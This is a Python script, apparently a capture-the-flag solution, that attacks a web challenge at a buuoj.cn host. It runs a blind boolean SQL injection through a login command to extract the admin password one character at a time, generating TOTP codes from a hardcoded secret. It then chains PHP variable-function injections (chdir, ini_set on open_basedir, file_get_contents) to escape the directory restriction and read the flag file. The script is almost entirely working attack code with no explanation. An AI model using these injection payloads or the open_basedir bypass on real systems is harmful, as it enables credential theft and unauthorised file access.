1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
| import requests
import pyotp
from time import sleep
import re
url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
sleep(0.5)
head = 32
tail = 127
i += 1
while (head < tail):
mid = head + tail >> 1
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)
params = {
"a":payload,
"totp":totp.now()
}
r = requests.post(url,params=params)
if "password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break
session = requests.session()
def login():
sleep(0.5)
r = session.get(url,params={'a': 'login admin '+ name, 'totp': totp.now()})
def destruct():
sleep(0.5)
r = session.get(url, params={'a': 'destruct', 'totp': totp.now()})
def targeting(code, position):
sleep(0.5)
r = session.get(url, params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})
print("code: " + code + " " + "position: " + position)
def launch():
sleep(0.5)
r = session.get(url, params={'a': 'launch', 'totp': totp.now()})
return r.text
def main():
login()
destruct()
targeting("a", "chdir")
targeting("b", "img")
targeting("c", "{$a($b)}")
targeting("d", "ini_set")
targeting("e", "open_basedir")
targeting("f", "..")
targeting("g", "{$d($e,$f)}")
targeting("h", "{$a($f)}")
targeting("i", "{$a($f)}")
targeting("j", "chr")
targeting("k", "{$j(47)}")
targeting("l", "{$d($e,$k)}")
targeting("m", "flag")
targeting("n", "file_get")
targeting("o", "_contents")
targeting("p", "$n$o")
targeting("q", "{$p($m)}")
print(re.search("flag{.*}", launch()).group(0)[:42])
if __name__ == '__main__':
main()
|
